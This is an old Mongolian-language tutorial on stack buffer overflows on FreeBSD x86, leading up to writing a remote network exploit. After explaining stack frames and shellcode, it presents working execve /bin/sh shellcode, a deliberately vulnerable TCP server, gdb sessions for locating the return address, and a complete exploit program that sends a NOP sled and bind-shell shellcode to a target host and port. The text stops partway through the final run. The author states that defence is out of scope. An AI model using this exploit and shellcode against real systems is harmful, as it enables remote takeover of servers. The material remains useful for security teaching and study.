

**Буффер Overflow(Дүүргэх) (БОФ) гэж юу вэ?
Сүлжээний орчинд БОФ exploit хэрхэн хийх вэ?
(Зөвхөн x86 процессорын хувьд FreeBSD дээр)**

бичсэн: g0mb0
Огноо: 10/01/2003
Емэйл: tsgan@hotmail.com

Эжлэл.

Интернэтийн ертөнцөд Буффер Overflow(Дүүргэх) гэсэн ойлголт аль 90-ээд оноос бий болжээ. Би анх 98 онд энэ асуудалтай тулгарч байснаа санаж байна. Тэгэхэд миний мэдэхийн 2 ч нийтлэл энэ талаар гарсан байлаа(AlephOne, Mudge хоёрын нийтлэл). Харин энэ талаарх бидний ойлголт одоо болтол сул муу байгааг хэлэх нь зүйтэй болов уу. Бид Буффер Overflow(Дүүргэх) гэж байдаг, программууд байдаг тэрнийг ажиллуулчихаар л болдог гэдгийг мэддэг болохоос яг нарийн ойлголтгүй байгаад хэргийн гол учир оршиж байгаа юм. Түүнээс гадны хэлний бэрхшээлээс болж аль хэдийн Англи хэл дээр гарсан нийтлэлүүдийг тэр болгон уншихгүй эсвэл уншсан ч сайн ойлгохгүй байгаа нь үнэний хувьтай. Тийм учраас та бүхэнд Буффер Overflow(Дүүргэх) буюу БОФ-ийн тухай товчхоноор тайлбарлахыг хичээе. Энэ нь та бүхний мэдлэгт тус нэмэр болно байхаа гэж найдаж байна. БОФ-оос хэрхэн хамгаалах, хэрхэн илрүүлэх талаар бичихийг хүссэнгүй. Энэ талаар интернэтээс дэлгэрэнгүй мэдээллийг авч болно.

Шаардлага.

Ассемблер хэлний ойлголт зарим нэг хэмжээгээр шаардлагатай. Мөн процесс санах ойд яаж байрладаг тухай мэдэж байхад илүүдэхгүй. C хэлний мэдлэгтэй байх шаардлагатай. Мөн GDB debugger-тай ажилладаг байхад их тус дөхөм болно. Миний тайлбарлаж байгаа бүхэн Интел-ийн x86 процессор бүхий машин дээр FreeBSD үйлдлийн систем дээр явагдаж байгаа гэж ойлгох хэрэгтэй.

Туршсан үйлдлийн систем, процессор.
FreeBSD 4.7, FreeBSD 5.1
Pentium III, Pentium 4

Юуны өмнө зарим нэг ухагдхуунуудыг тайлбарлая гэж бодлоо.

Буффер гэж юу вэ?

Өгөгдлийн ижил нэгэн төрлийг агуулсан, үргэлжилсэн(өөрөөр хэлбэл дундаа тасраагүй), компьютерийн санах ойн хэсгийг Буффер гэнэ.

C программын хэлд string-ийг ихэвчлэн char өгөгдлийн төрөл бүхий Буффер массиваар төлөөлүүлдэг.

Жишээ нь:

```
char buffer[200]; // 200 тэмдэгтээс бүтсэн Буффер
```

C хэл дээр Массив нь бусад хувьсагчуудын нэгэн адил статик эсвэл динамикаар зарлагддаг. Статик хувьсагч нь өгөгдлийн сегментийн хэсэгт ачаалж эхлэх явцад санах ойн хэсгийг авч ажиллана.

Динамик хувьсагч нь ажилласны дараа стекд санах ойн хэсгийг авч ажиллана. Overflow(Дүүргэх) гэдэг нь байгаа буюу зарласан массив-ийн уртаас илүү гаргаж Буффер-ийг дүүргэх гэсэн үг юм.

Энд яригдах БОФ бол динамик хувьсагчийн тухайд болно. Өөрөөр хэлбэл стекд тулгуурласан БОФ гэсэн үг юм.

Процесс буюу програм санах ойд хэрхэн байрлах вэ?

Стекийг ойлгохын тулд процесс буюу програм ачаалах явцдаа санах ойд яаж байрладаг тухай ямар нэг хэмжээгээр ойлгох шаардлагатай. Процесс нь 3 хэсгээс тогтоно: Текст, Өгөгдөл, Стек
Текст хэсэг нь тодорхой урттай байх бөгөөд программын үйлдлүүд болон зөвхөн унших эрхтэй Өгөгдлийг агуулсан байна. Өөрөөр хэлбэл ачаалагдах binary программын Текст хэсгийг агуулсан байна. Санах ойн энэхүү хэсэг нь read-only байх бөгөөд ямар нэг бичих оролдлого хийхэд segmentation violation(юу гэж орчуулмаар юм бэ дээ, сегментийн байдлыг зөрчих) болно.
Өгөгдлийн хэсэгт статик хувьсагч хадгалагдана. Энэ хэсэг нь ачаалагдах binary файлын data-bss хэсэг юм. Энэ хэсгийн санах ойн хэмжээг тодорхойлж болно.

Дөөрхи зургаас сонирхоно уу:)



Стек гэж юу вэ?

Энэ нь Компьютерийн шинжлэх ухаанд байдаг хийсвэр ойлголт. Нэг онцлог шинжтэй. Та бүхэн бараг мэдэх биз дээ. Стекд хийгдсэн сүүлийн объект нь стекээс авах анхны объект болдог. Үүнийг ихэвчлэн last in, first out буюу LIFO гэдэг.

Голлох үйлдлүүд нь:

PUSH (стекийн дээд талд объект байрлуулах)
POP (стекийн дээрээс сүүлийн объектийг авах)

Стек яагаад хэрэгтэй вэ?

Програм ачаалах явцад ямар нэгэн функц ажиллаад өөрийн үйлдлийг хийгээд дүүсахдаа функцийг дуудсан хэсгийн дараа хяналтыг олгодог. Өөрөөр хэлбэл функцийн дараагийн мөрөөс эхлэн програм үргэлжилнэ гэсэн үг. Энэхүү үйл явц нь стекийн тусламжтайгаар хэрэгждэг. Стек нь функцийн хувьсагчуудыг динамикаар санах ойд байрлуулахаас гадна, функц руу параметер дамжуулах, функцаас утга буцаахад хэрэглэгддэг.

Стек-ийн хэсэг

Стек нь санах ойн үргэлжилсэн, Өгөгдөл агуулсан хэсэг юм. SP буюу стекийн заагч гэсэн регистер Стекийн дээд хэсгийг заадаг. Стекийн доод хэсэг нь тодорхой хаяг дээр байрладаг. Стекийн хэмжээг ажиллах явцад(run-time) кернел тодорхойлж өгнө.

Стек нь логик стек frame(хүрээ)-үүдээс тогтоно. Функц дуудах үед энэ стек frame нь PUSH хийгдэх ба функц дүүсах үед POP хийгдэнэ. Энэхүү стек frame нь функцийн параметер, локал хувьсагчууд, өмнөх стек frame-ийг сэргээхэд шаардлагатай Өгөгдөл, мөн функц дуудах үеийн instruction pointer бужу үйлдлийн заагчийн утгыг агуулна.

Компьютерийн архитектураас хамаарч стекийн хэмжээ доош(санах ойн доод хэсэг) эсвэл дээш (санах ойн дээд хэсэг) өснө.

Бидний үзэж байгаа жишээнүүд нь стек-ийн хэмжээ доош осох компьютер дээр хийгдэх болно. Ийм замаар Интел, Моторолла, SPARK процессорууд дээр стек-ийн хэмжээ доош өснө.

Стек-ийн заагч SP нь бас л компьютерийн архитектураас хамаарна. Энэ заагч нь стек-ийн сүүлийн санах ойн хаяг эсвэл стек-ийн дараах чөлөөтэй санах ойн хаяг руу заасан байж болно.

Бидний хувьд стек-ийн санах ойн сүүлийн хаягийг зааж байгаа болно.

SP-аас гадна frame доторх ямар нэг хаяг руу заах frame-ийн заагч заримдаа хэрэгтэй болдог. Үүнийг заримдаа локал суурийг заагч (local base pointer) гэж нэрлэдэг. Зарчмын хувьд локал хувьсагчууд нь SP-ээс тодорхой зайд(оффсет) байрлана. Энэхүү зай нь PUSH POP хийгдсэний дараа өөрчлөгдөж байдаг.

Интел процессорын хувьд SP-ээс тодорхой зайд орших хувьсагч руу хандахад хэд хэдэн үйлдэл шаардагддаг.

Ихэнх компиляторууд нь 2 дахь регистер болох FP(frame pointer)-г локал хувьсагч болон параметруудтэй харицахдаа ашигладаг. Яагаад гэвэл тэдний FP хүртэлх зай нь PUSH POP хийгдэх үед өөрчлөгддөггүй юм.

Интел процессорын хувьд BP(EBP) регистерийг энэ зорилгөөр ашиглана. Стек-ийн хэмжээ өөрчлөгдөх зарчмаас хамаарч параметерүүд нь FP-ээс нэмэх зайд, локал хувьсагчууд нь FP-ээс хасах зайд оршино.

Хялбар жишээн дээрээс стек ямар байхыг үзье:

example1.c:

```
-----
void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
}
void main() {
    function(1,2,3);
}
-----
```

Функцийг дуудах үед стек иймэрхүү байна.

Санах ойн
Доод
Хэсэг

```
<----- [ Буффер2          ][ Буффер1    SFP    RET    a  b  c
                ][                ][          ][ ] [ ][ ][ ]
```

стек-ийн
дээд
хэсэг

Санах ойн
дээд
хэсэг

стек-ийн
доод
хэсэг

Буффер Overflow (Дүүргэх) .

Буффер Overflow (Дүүргэх) гэдэг нь Буффер-ийн авч чадах хэмжээгээс илүү Өгөгдлийг Буффер руу хийхэд үүснэ. Энэхүү программчлаын алдааг ашиглан ямар нэгэн команд буюу код ажилруулж болдог. Жишээ авч үзье.

example2.c

```
-----  
void function(char *str) {  
    char buffer[16];  
  
    strcpy(buffer, str);  
}  
void main() {  
    char large_string[256];  
    int i;  
    for( i = 0; i < 255; i++)  
        large_string[i] = 'A';  
  
    function(large_string);  
}  
-----
```

Энэхүү програмд Overflow (Дүүргэх) кодчиллын алдаа байна. Функц нь Өгөгдсөн string-ийг уртыг нь шалгалгүйгээр Буффер руу хуулж байна. Зүй нь strcpy-ийн оронд strncpy-ийг ашиглах ёстой. Энэ программыг ажилруулбал "segmentation violation" буюу сегмент-ийн зарчмыг зөрчлөө гэсэн алдаа гарна. Яагаад гэвэл 16 байт урттай Буффер руу 256 байт string хийж байгаа болохөөр тэр.

Функц-ийг дуудах үед стек иймэрхүү байна.

Санах ойн
Доод
хэсэг

Санах ойн
дээд
хэсэг

 Буффер SFP RET *str
 <----- [][][][]

стек-ийн
дээд
хэсэг

стек-ийн
доод
хэсэг

Энэ үед Буффер-ээс дараа орших стек-ийн 240 байтийг дарж бичнэ гэсэн үг. Энэхүү 240 байтад SFP(stack frame pointer), RET, бас *str параметер хүртэл орж байгаа юм.

Large_string-ийг бид "A" тэмдэгтээр дүүргэсэн. "A"-ийн 16-ийн утга нь 0x41. Тэгэхээр буцах хаяг нь 0x41414141 боллоо гэсэн үг. Энэ нь процесс-ийн санах ойн хэсгээс гадна гэсэн үг юм. Ийм л учраас функц буцахдаа дараагийн үйлдлийг дээрх хаягаас авч унших гээд чадалгүй сегментийн алдаа өгч байгаа юм.

Тэгэхээр Буффер Overflow (Дүүргэх) нь бидэнд функц-ийн буцах хаягийг солих боломж өгч байгаа юм. Энэ замаар бид нар программын ажиллах дараалалыг өөрчилж болох юм.

Shell код.

Тэгэхээр буцах хаягийг өөрчилснөөр ямар програм ажиллуулж болох вэ:) Ихэнх тохиолдолд бид Shell(бүрхүүл) ажиллуулах шаардлага гардаг. Shell эрхтэй болсны дараа дараагийн командуудыг ажиллуулж болно шүү дээ. Shell код-оо тэгэхээр хаана байрлуулах вэ гэсэн сонирхолтой асуулт гарч байгаа юм. Shell код-оо Overflow(Дүүргэх) хийх гэж байгаа Буффер-таа байрлуулж буцах хаягаа буцаагаад Буффер руугаа заах ёстой. Shell код-ийг шууд команд хэлбэрээр Буфферт бичнэ гэж бодож байгаа бол тэр чинь эндүүрэл. Учир нь Shell код-оо 16-ийн системээр бичиж кодлоод байрлуулна гэсэн үг юм. Өөрөөр хэлбэл бидэнд ойлгомжтой командуудаа Ассемблер дээр болгоод дараа нь командуудынхаа машин код-ийг авч нийлүүлэн цогц код болгоно гэсэн үг юм.

Жишээ нь стек 0xff гэсэн хаягаас эхэлж байг гэж бодоё. С нь бидний Shell код гэж бодоё. Тэгвэл стек нь иймэрхүү байна.

Санах ойн	ДДДДДДДДЭЭЭЭЭЭЭЭЭЭЭЭ	ЭЭЭЭ	ФФФФ	ФФФФ	ФФФФ	ФФФФ	санах ойн
Доод хэсэг	89АВЦДЭФ0123456789АВ	ЦДЭФ	0123	4567	89АВ	ЦДЭФ	дээд хэсэг
	Буффер	SFP	RET	a	b	s	

```
<----- [SSSSSSSSSSSSSSSSSSSS] [SSSS] [0xD8] [0x01] [0x02] [0x03]
          ^                               |
          |_____|                       |
стек-ийн                                стек-ийн
дээд                                     доод
хэсэг                                    хэсэг
```

Shell ажиллуулах код маань С дээр иймэрхүү байна.

shellcode.c

```
-----
#include <stdio.h>

void main() {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
-----
```

Shellкод яаж үүсгэх хэрхэн С дээр түүнийг программчилж дараагаар нь машин код болгох талаар дурдахыг хүссэнгүй. Интернет дээр нэг үеэ бодоход төрөл бүрийн процессорт зориулсан ажиллагаа сайтай Shellкод-ууд аль хэдийн бий болжээ. Тэр бүү хэл автоматаар үүсгэдэг програмууд хүртэл гарсан болохөөр энэ талаар бичье гэж бодсонгүй. Тэгээд ч Ассемблер-ийн маш сайн ойлголт шаарддаг. Shellкод нь ихэвчлэн дотроо систем call-уудыг агуулсан байдаг. Мэдээж үйлдлийн системээсээ хамаараад систем call-ууд өөр өөр байна. Бидний авч үзсэн жишээ дээрх тохиолдолд execve() систем call байна.

Бас Shellкод-ийг байрлуулахдаа нэг зүйл анхаарах хэрэгтэй. Тэр юу вэ гэхээр бидний Буффер дахь Shellкод өөрийгөө дарж бичиж байгаа бөгөөд, ихэнх үйлдлийн системүүд код page-ээ read-only буюу зөвхөн унших эрхтэйгээр хадгалдаг. Тийм болохөөр бид Shellкод байгаа Буффер-аа стек эсвэл дата сегментэд байрлуулаад дараа нь түүндээ удирдлагыг шилжүүлэх ёстой юм. Дата сегментийн глобал хэсэгт зарлах хэрэгтэй гэсэн үг юм. Өөрөөр хэлбэл програмын глобал хэсэгт Буффер-аа зарлана.

Мөн Түүнчлэн бас нэг анхаарах юм нь бидний Overflow(Дүүргэх) хийх гэж байгаа Буффер нь ихэвчлэн character Буффер байдаг. С хэл дээр string-ийн төгсгөлийг юугаар тэмдэглэдгийг мэднэ биз дээ. Тэгэхээр хэрэв бид Shellкод-ийнхаа дунд "\0" тэмдэгт (string-ийн төгсгөлийг заасан байт) байрлуулбал зөвхөн тэр тэмдэгт хүртэл сору ажиллана гэсэн үг юм. Тийм болохоор NULL байт (0x0)-ийг Shellкод-доо байрлуулахгүй байх шаардлагатай. Тэгж байж Shellкод чинь зөв ажиллана.

Shellкод-ийн жишээ(FreeBSD дээр):

frebsd_execve_bin.c

```
-----  
/*  
 * FreeBSD shellcode - execve /bin/sh  
 *  
 * Claes M. Nyberg 20020120  
 *  
 * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>  
 */  
char shellcode[] =  
    "\x31\xc0"           /* xorl   %eax, %eax */  
    "\x50"              /* pushl  %eax      */  
    "\x68\x2f\x2f\x73\x68" /* pushl  $0x68732f2f */  
    "\x68\x2f\x62\x69\x6e" /* pushl  $0x6e69622f */  
    "\x89\xe3"          /* movl   %esp, %ebx */  
    "\x50"              /* pushl  %eax      */  
    "\x53"              /* pushl  %ebx      */  
    "\x89\xe2"          /* movl   %esp, %edx */  
    "\x50"              /* pushl  %eax      */  
    "\x52"              /* pushl  %edx      */  
    "\x53"              /* pushl  %ebx      */  
    "\x50"              /* pushl  %eax      */  
    "\xb0\x3b"          /* movb   $0x3b, %al */  
    "\xcd\x80"          /* int    $0x80     */  
    "\x31\xc0"          /* xorl   %eax, %eax */  
    "\x40"              /* inc    %eax      */  
    "\x50"              /* pushl  %eax      */  
    "\x50"              /* pushl  %eax      */  
    "\xcd\x80";         /* int    $0x80     */  
  
void main() {  
    int *ret;  
  
    ret = (int *)&ret + 2;  
    (*ret) = (int)shellcode;  
  
}
```

```
-----  
bash-2.05b$ ./frebsd_execve_bin  
strlen code: 34  
$  
-----
```

Exploit бичих нь.

Юуны өмнө интернэт дээр локал exploit бичих арга зөндөө байгаа тул локал exploit бичих аргыг бичилгүйгээр сүлжээний орчны exploit-ийн талаар бичье. Сүлжээний exploit-доо бүр FreeBSD системийн хувьд шүү☺

Юуны өмнө программчлалын алдаа (vulnerable) бүхий сэрвэр програм байх шаардлагатай. Ихэнх тохиолдолд бид сүлжээгээр Shell эрх олж авах эсвэл Shell-ийг ямар нэг порт дээр ажиллуулж дараагаар нь түүндээ холбогдох замаар тухайн компьютерт нэвтэрхийг хүсдэг.

vulnerable.c (vulnerable server program)

```
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)
{
    char buffer[BUFFER_SIZE], name[NAME_SIZE];
    int bytes;
    strcpy(buffer, "My name is: ");
    bytes = send(c, buffer, strlen(buffer), 0);
    if (bytes == -1)
        return -1;
    bytes = recv(c, name, sizeof(name), 0);
    if (bytes == -1)
        return -1;
    name[bytes - 1] = '\0';
    sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
    bytes = send(c, buffer, strlen(buffer), 0);
    if (bytes == -1)
        return -1;
    return 0;
}

int main(int argc, char *argv[])
{
    int s, c, cli_size;
    struct sockaddr_in srv, cli;
    if (argc != 2)
    {
        fprintf(stderr, "usage: %s port\n", argv[0]);
        return 1;
    }
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s == -1)
    {
        perror("socket() failed");
        return 2;
    }
}
```

```
    srv.sin_addr.s_addr = INADDR_ANY;
    srv.sin_port = htons( (unsigned short int) atol(argv[1]));
    srv.sin_family = AF_INET;
    if (bind(s, &srv, sizeof(srv)) == -1)
    {
        perror("bind() failed");
        return 3;
    }
    if (listen(s, 3) == -1)
    {
        perror("listen() failed");
        return 4;
    }
    for(;;)
    {
        c = accept(s, &cli, &cli_size);
        if (c == -1)
        {
            perror("accept() failed");
            return 5;
        }
        fprintf(stderr, "client from %s\n", inet_ntoa(cli.sin_addr));
        if (handling(c) == -1)
            fprintf(stderr, "%s: handling() failed", argv[0]);
        close(c);
    }
    return 0;
}
```

Эхлээд compile хийх хэрэгтэй.

gcc vulnerable.c -o vulnerable

Үүний дараагаар ажиллуулж үзэх хэрэгтэй.

./vulnerable 30460

Энэ нь TCP-ийн 30460 гэсэн порт дээр listen(сонсох) хийж гаднын хандалтыг хүлээн авна гэсэн үг юм.

Бидэнд буцах хаяг хэрэгтэй байгаа учраас debugger-аас ажиллуулъя.

gdb vulnerable
GNU gdb 5.2.1 (FreeBSD)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-undermydesk-freebsd"...(no debugging symbols found) ...
(gdb) run 30460
Starting program: /usr/home/tsgan/bof_files/vulnerable 30460

Энэ үедээ info all-registers гээд өгвөл EIP регистер 0xbd206f74 гэсэн хаяг руу заасныг мэднэ. Өөрөөр хэлбэл 1024 байт Буфферт бид 2048 байтийн name гэсэн массивыг уртыг нь шалгалгүйгээр хуулснаар Instruction Pointer буюу үйлдлийн заагч дахь хаягийг дараад биччихэж байна гэсэн үг юм. Ингэснээр алдаа гарчээ:

```
-----
(gdb) info all-registers
eax                0xffffffff        -1
ecx                0x9                9
edx                0xffffffff        -1
ebx                0x2                2
esp                0xbfbffaf0        0xbfbffaf0
ebp                0x20656369        0x20656369
esi                0xbfbffb80        -1077937280
edi                0xbfbffb74        -1077937292
eip                0x6d206f74        0x6d206f74
eflags            0x10246 66118
cs                 0x1f 31
ss                 0x2f 47
ds                 0x2f 47
es                 0x2f 47
fs                 0x2f 47
gs                 0x2f 47
st0                -nan(0x0000ca00)   (raw 0xffff000000000000ca00)
st1                -nan(0x00000200)   (raw 0xffff0000000000000200)
st2                0 (raw 0x00000000000000000000)
st3                0 (raw 0x00000000000000000000)
st4                0 (raw 0x00000000000000000000)
st5                3.6715164242195896804332733154296875e-10 (raw
0x3fd9c9d800000000000000)
st6                24 (raw 0x4003c000000000000000)
st7                60 (raw 0x4004f000000000000000)
fctrl              0x127f 4735
fstat              0x0 0
ftag                0x0 0
fiseg              0x0 0
fioff              0x0 0
foseg              0x0 0
fooff              0x0 0
fop                 0x0 0
(gdb)
-----
```

Одоо бидэнд буцах хаягийг олох шаардлага тулгарна. Үүний тулд ESP регистрээс тодорхой зайд үзэх шаардлагатай. Түрүүний ажиллуулсан GDB дээрээ:

```
-----
(gdb) x/200bx $esp-200
0xbfbffa28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfbffa60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
-----
```

```

0xbfbffa68:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffa70:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffa78:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffa80:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffa88:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffa90:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffa98:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffaa0:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffaa8:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffab0:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffab8:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffac0:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffac8:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffad0:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffad8:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfbffae0:    0x41    0x41    0x41    0x41    0x41    0x2c    0x20    0x6e
0xbfbffae8:    0x69    0x63    0x65    0x20    0x74    0x6f    0x20    0x6d
(gdb)

```

Та нар 0x41-ийг "А" гэдгийг бүгд мэдэж байгаа биз дээ:) Бид мэдээж яг тодорхой хаягийг мэдэхгүй учраас дээрээс нь нэг хаяг сонгоё.

Би 0xbfbffa48 гэсэн хаягийг сонголоо. Доод хэсгээс нь хаяг сонгоод хэрэггүй шүү. Эхэн хэсгээс юмуу дунд хэсгээс сонгоорой.

Exploit маань ямар байх вэ?

Бид ямар ч байсан буцах хаягаа олчихлоо. Одоо бидэнд сайн Shellкод хэрэгтэй болно. Мэдээж хамгийн хэрэгтэй нь Shell-ийг ямар нэг порт дээр ажиллуулдаг Shellкод байвал бид дараа нь тухайн порт-өөр холбогдож болно шүү дээ.

Бас бид нар Буффераа 1024 байтаас илүү хэмжээтэй зарлах хэрэгтэй. 1064 бол болох байх. Эхлээд Буффераа бэлдэх хэрэгтэй. Бүгдийг нь NOP (null operation)- оор дүүргэе. NOP-ийн машин код нь 0x90. Ингэснээр буцах хаягийг яг тодорхой мэдэлгүйгээр урд байрлаж байгаа NOP байгаа хаяг руугаа заахад Shell код чинь ажиллана гэсэн үг. Өөрөөр хэлбэл таах процессыг бидэнд нааштай болгож байна гэсэн үг юм. Бүх процессорууд ихэнх нь хоосон үйлдэл буюу NOP гэсэн үйлдэлтэй байдаг. Энэ ихэнх тохиолдолд бага хэмжээний delay(саатал) үүсгэх зорилготой байдаг.

```
memset(buffer, 0x90, 1064);
```

Дараагаар нь Shellкод-оо Буффер руугаа хуулъя.

```
memcpy(buffer+851-sizeof(shellcode) , shellcode, sizeof(shellcode)-1);
```

Бид Shellкод-оо Буффер-ийн дундаас эхлээд хууллаа. Урд хэсэгт нь бид тэртээ тэргүй NOP хуулчихсан болохөөр бидний буцах хаяг аль нэг NOP руу л зааж байхад болж байгаа юм. Сүүлийн sizeof(Shellкод)-1 -ийг анзаараарай. Бидэнд сүүлийн null байт хэрэггүй шүү дээ☺

Нэг юм анхааруулъя. Таны exploit ажиллах эсэх чинь буцах хаяг, Shellкод-оо хаана байрлуулах, буцах хаягаа хаана байрлуулахаас ихээхэн хамаарна шүү!!!! Ажиллахгүй байна гээд залхуурч болохгүй☺

Буцах хаягийг Буфферийн төгсгөлд хуулъя.

```
// Copying the return address multiple times at the end of the buffer...
for(i=1010; i < 1060; i+=4) {
    * ((int *) &buffer[i]) = offset;
}
buffer[1063] = 0x0;
```

Бид Буффер 1024 байт-аар дуусч байгааг мэдэж байгаа болохоор сүүлийн хэсэгт нь буцах хаягаа бичих ёстой болж байгаа юм. Ингэснээр бид үйлдлийн заагч буюу EIP-аа буцах хаягаараа дараад биччихэж байгаа юм.

Буффер-аа бэлдсэний дараа Түүнийгээ сэрвэр руу илгээх шаардлагатай болно.

expl_or.c

```
-----
/*
    sample exploit, binds shell to port 12345
*/
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>

/*
 * FreeBSD shellcode - binds /bin/sh to a port 12345
 * Claes M. Nyberg 20020619
 * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
 */
char shellcode[]=
/* port _____*/
"\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\x39"
"\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\xcd"
"\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\x83"
"\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\x53"
"\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\x50"
"\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\x40\x50\x50\xcd\x80";

#define RET 0xbfbffa48

int main(int argc, char *argv[]) {
    char buffer[1064];
    int s,t, i, size,offset;
    struct sockaddr_in remote;
    struct hostent *host;

    if(argc != 4) {
        printf("Usage: %s target-ip port offset\n", argv[0]);
        return -1;
    }
    offset = RET - atoi(argv[3]);
```

```

// filling buffer with NOPS
memset(buffer, 0x90, 1064);

printf("scsize: %d\nret: 0x%x\n",sizeof(shellcode)-1,offset);

//copying shellcode into buffer
//at offset 140,150,200 it works finally :):):)
memcpy(buffer+851-sizeof(shellcode) , shellcode, sizeof(shellcode)-1);

//Copying return address multiple times at the end of the buffer...
for(i=1010; i < 1060; i+=4) {
    * ((int *) &buffer[i]) = offset;
}
buffer[1063] = 0x0;

//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
    fprintf(stderr, "Unknown Host %s\n",argv[1]);
    return -1;
}

// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
    fprintf(stderr, "Error: Socket\n");
    return -1;
}
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));

// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))===-1)
{
    close(s);
    fprintf(stderr, "Error: connect\n");
    return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size===-1)
{
    close(s);
    fprintf(stderr, "sending data failed\n");
    return -1;
}
// closing socket
close(s);
}

```

Одоо exploit-оо compile хийгээд ажиллуулна.

```
-----  
bash-2.05b$ gcc expl_or.c -o expl_or  
bash-2.05b$  
-----
```

Мэдээж нөгөө терминал дээрээ сэрвэрээ GDB-ээр ажиллуулах хэрэгтэй.

```
-----  
# gdb vulnerable  
GNU gdb 5.2.1 (FreeBSD)  
Copyright 2002 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you are  
welcome to change it and/or distribute copies of it under certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show warranty" for details.  
This GDB was configured as "i386-undermydesk-freebsd"...(no debugging symbols  
found)...  
(gdb) run 30460  
Starting program: /usr/home/tsgan/bof_files/vulnerable 30460  
-----
```

Одоо exploitoо ажиллуулъя.

```
-----  
bash-2.05b$ ./expl_or 127.0.0.1 30460 100  
scsize: 131  
ret: 0xbfbff9e4  
bash-2.05b$  
-----
```

Үүний дараа GDB-ээ шалгая.

```
-----  
client from 127.0.0.1  
(no debugging symbols found)...(no debugging symbols found)...  
Program received signal SIGSEGV, Segmentation fault.  
0xbfbff9e4 in :):) ()  
(gdb)  
-----
```

SP регистрээс тодорхой зайд харъя.

```
-----  
(gdb) x/400bx $esp-400  
0xbfbff960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff978: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff980: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff988: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff990: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff9a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbfbff9b0: 0x90 0x90 0x90 0x90 0x90 0x6a 0x10 0x89  
0xbfbff9b8: 0xe1 0x83 0xec 0x10 0x89 0xe3 0x31 0xc0  
^^^^ shellcode begins  
-----
```

Exploitoo ажиллуулъя.

```
bash-2.05b$ ./expl_or 127.0.0.1 30460 140
scsize: 131
ret: 0xbfbff9bc
